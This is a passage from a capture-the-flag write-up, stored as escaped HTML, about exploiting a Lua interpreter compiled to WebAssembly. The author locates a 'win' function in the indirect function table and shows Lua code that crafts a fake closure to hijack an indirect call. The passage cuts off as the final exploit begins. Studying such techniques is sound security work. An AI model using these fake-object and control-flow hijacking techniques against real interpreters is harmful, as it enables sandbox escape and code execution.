class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e              \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Unhandled lua parameter\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"nx\"\u003er\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epostMessage\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"nx\"\u003etype\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;error\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"nx\"\u003edata\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;I see the exit, but it needs a code to open...\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e4919\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nx\"\u003er\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epostMessage\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"nx\"\u003etype\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;win\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epostMessage\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"nx\"\u003etype\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;error\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"nx\"\u003edata\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Invalid parameter value, maybe more l333t needed?\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e}),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;ii\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eUhm, I\u0026rsquo;m no WASM expert, but it looks like this piece of code might just\nbe the \u0026ldquo;win\u0026rdquo; function I was looking for.\u003c/p\u003e\n\u003cp\u003eIts code is not too complex: the function takes a TValue \u003cem\u003ee\u003c/em\u003e as input,\nchecks its value, converting it either to string or integer, and stores\nthe result into a JS array. Then, the value pushed is compared against\nthe number 4919 (0x1337 for y\u0026rsquo;all), and if it matches, the \u0026ldquo;win\u0026rdquo; message is\nsent (most likely then granting the final achievement).\u003c/p\u003e\n\u003cp\u003eLooking at this, it seems what we need to do is to find a way to craft\na fake Lua function that points to the function registered by \u003ccode\u003en.global.lua.module.addFunction\u003c/code\u003e,\nand invoke it with the 0x1337 argument.\u003c/p\u003e\n\u003cp\u003eBut how does that \u003ccode\u003eaddFunction\u003c/code\u003e work, and how can we find it in the WASM context?\u003c/p\u003e\n\u003ch3 id=\"emscripten\"\u003eEmscripten\u003c/h3\u003e\n\u003cp\u003eGoogling some more leads us to the nature of the \u003ccode\u003eaddFunction\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://emscripten.org/docs/porting/connecting_cpp_and_javascript/Interacting-with-code.html#calling-javascript-functions-as-function-pointers-from-c\"\u003ehttps://emscripten.org/docs/porting/connecting_cpp_and_javascript/Interacting-with-code.html#calling-javascript-functions-as-function-pointers-from-c\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eYou can use addFunction to return an integer value that represents a function pointer.\nPassing that integer to C code then lets it call that value as a function pointer,\nand the JavaScript function you sent to addFunction will be called.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThus, it seems that \u003ccode\u003ewasmoon\u003c/code\u003e makes use of Emscripten, the LLVM-based WASM toolchain,\nto build the WASM module containing the Lua interpreter.\u003c/p\u003e\n\u003cp\u003eAnd, as it seems, Emscripten provides a way to register JavaScript functions\nthat will become \u0026ldquo;callable\u0026rdquo; in the WASM.\nDigging a little more, and we see how the \u003ccode\u003eaddFunction\u003c/code\u003e API is implemented:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/emscripten-core/emscripten/blob/1f519517284660f4b31ef9b7f921bf6ba66c4041/src/library_addfunction.js#L196\"\u003ehttps://github.com/emscripten-core/emscripten/blob/1f519517284660f4b31ef9b7f921bf6ba66c4041/src/library_addfunction.js#L196\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eSNIP\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eret\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003egetEmptyTableSlot\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// Set the new value.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003etry\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"c1\"\u003e// Attempting to call this with JS function will cause of table.set() to fail\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nx\"\u003esetWasmTableEntry\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eret\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003efunc\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003ecatch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eerr\u003c/span\u003e \u003cspan class=\"k\"\u003einstanceof\u003c/span\u003e \u003cspan class=\"nx\"\u003eTypeError\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"nx\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"err\"\u003e#\u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"nx\"\u003eASSERTIONS\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nx\"\u003eassert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e \u003cspan class=\"nx\"\u003esig\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;undefined\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Missing signature argument to addFunction: \u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"nx\"\u003efunc\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"err\"\u003e#\u003c/span\u003e\u003cspan class=\"nx\"\u003eendif\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ewrapped\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003econvertJsFunctionToWasm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003efunc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003esig\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nx\"\u003esetWasmTableEntry\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eret\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ewrapped\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003efunctionsInTableMap\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003efunc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eret\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003eret\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eSNIP\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eEssentially, \u003cu\u003e the function is being added to the WebAssembly \u003ca href=\"https://developer.mozilla.org/en-US/docs/WebAssembly/JavaScript_interface/Table\"\u003efunctions table\u003c/a\u003e\u003c/u\u003e.\u003c/p\u003e\n\u003cp\u003eNow again, I\u0026rsquo;ll not pretend to be a WASM expert \u0026ndash; and this is also why I\ndecided to solve this challenge. Therefore, I will not include too many\ndetails on the nature of this functions table.\u003c/p\u003e\n\u003cp\u003eWhat I did understand, though, is that WASM binaries have a peculiar\nway of representing function pointers. They are not actual \u0026ldquo;addresses\u0026rdquo;\npointing to code. Instead, function pointers are integer \u003cstrong\u003eindices\u003c/strong\u003e that\nare used to reference tables of, well, functions. And a module can have\nmultiple function tables, for direct and indirect calls \u0026ndash; and no, I\u0026rsquo;m\nnot embarrassed of admitting I\u0026rsquo;ve learned most of this from ChatGPT.\u003c/p\u003e\n\u003cp\u003eNow, to understand more about this point, I placed a breakpoint in a pretty\nrandom spot of the WebAssembly, and then restarted the challenge \u0026ndash; the\ngoal was to stop in a place where the chrome debugger had context on the\nexecuting WASM, and explore from there.\u003c/p\u003e\n\u003cp\u003eThe screenshot below was taken from the debugger, and it shows variables\nin the scope of the execution:\u003c/p\u003e\n\u003cimg src=\"alcawasm_table1.png\" alt=\"AltText\"\u003e\u003cp\u003ePlease notice the \u003ccode\u003e__indirect_function_table\u003c/code\u003e variable: it is filled\nwith functions, just as we expected.\u003c/p\u003e\n\u003cp\u003eCould this table be responsible for the interface with the win function?\nTo find this out, it should be enough to break at some place where we\ncan call the \u003ccode\u003eaddFunction\u003c/code\u003e, call it a few times, then stop again inside\nthe wasm and check if the table is bigger:\u003c/p\u003e\n\u003cimg src=\"alcawasm_addfunction.png\" alt=\"AltText\"\u003e\u003cp\u003eAnd the result in the WASM context, afterwards:\u003c/p\u003e\n\u003cimg src=\"alcawasm_table2.png\" alt=\"AltText\"\u003e\u003cp\u003eSounds like our guess was spot on! Our knowledge so far:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe JS runner, after instantiating the WASM, invokes \u003ccode\u003eaddFunction\u003c/code\u003e on it to register\na win function\u003c/li\u003e\n\u003cli\u003eThe win function is added to the \u003ccode\u003e__indirect_function_table\u003c/code\u003e, and it can be called\nvia its returned index\u003c/li\u003e\n\u003cli\u003eThe win function is the 200th function added, so we know the index (199)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe last piece, here, is figure out how to trigger an indirect call in WASM from\nthe interpreter, using the primitives we have obtained.\u003c/p\u003e\n\u003cp\u003eLuckily, it turns out this is not so hard!\u003c/p\u003e\n\u003ch3 id=\"whats-in-an-lclosure\"\u003eWhat\u0026rsquo;s in an LClosure\u003c/h3\u003e\n\u003cp\u003eIn the blogpost, I\u0026rsquo;ve learned that crafting fake objects can be used\nto control the instruction pointer.\u003c/p\u003e\n\u003cp\u003eThis is as easy as crafting a fake string, and it\u0026rsquo;s well detailed\nin the blogpost. Let\u0026rsquo;s try with the same experiment:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-lua\" data-lang=\"lua\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e \u003cspan class=\"n\"\u003eCode\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eSNIP\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e-- function pointer + type\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efakeFunction\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mh\"\u003e0xdeadbeef\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e22\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efakeUpvals\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mh\"\u003e0x0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaddr_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeFunction\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efakeClosure\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaddr_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeUpvals\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecrafted_func\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecraft_object\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeClosure\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecrafted_func\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e \u003cspan class=\"n\"\u003eOutput\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eSNIP\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eRuntimeError\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003etable\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"n\"\u003eis\u003c/span\u003e \u003cspan class=\"n\"\u003eout\u003c/span\u003e \u003cspan class=\"n\"\u003eof\u003c/span\u003e \u003cspan class=\"n\"\u003ebounds\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eThe error message tells us that the binary is trying to\nindex a function at an index that is out of bound.\u003c/p\u003e\n\u003cp\u003eLooking at the debugger, this makes a lot of sense,\nas the following line is the culprit for the error:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ecall_indirect (param i32) (result i32)\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eBingo! This tells us that our fake C functoin is precisely\ndispatching a WASM indirect call.\u003c/p\u003e\n\u003cp\u003eAt this point, the puzzle is complete :)\u003c/p\u003e\n\u003ch3 id=\"platinum-trophy\"\u003ePlatinum Trophy\u003c/h3\u003e\n\u003cp\u003eSince we can control the index of an indirect\ncall (which uses the table of indirect functions)\nand we know the index to use for the win function,\nwe can finish up the exploit, supplying the correct parameter:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan 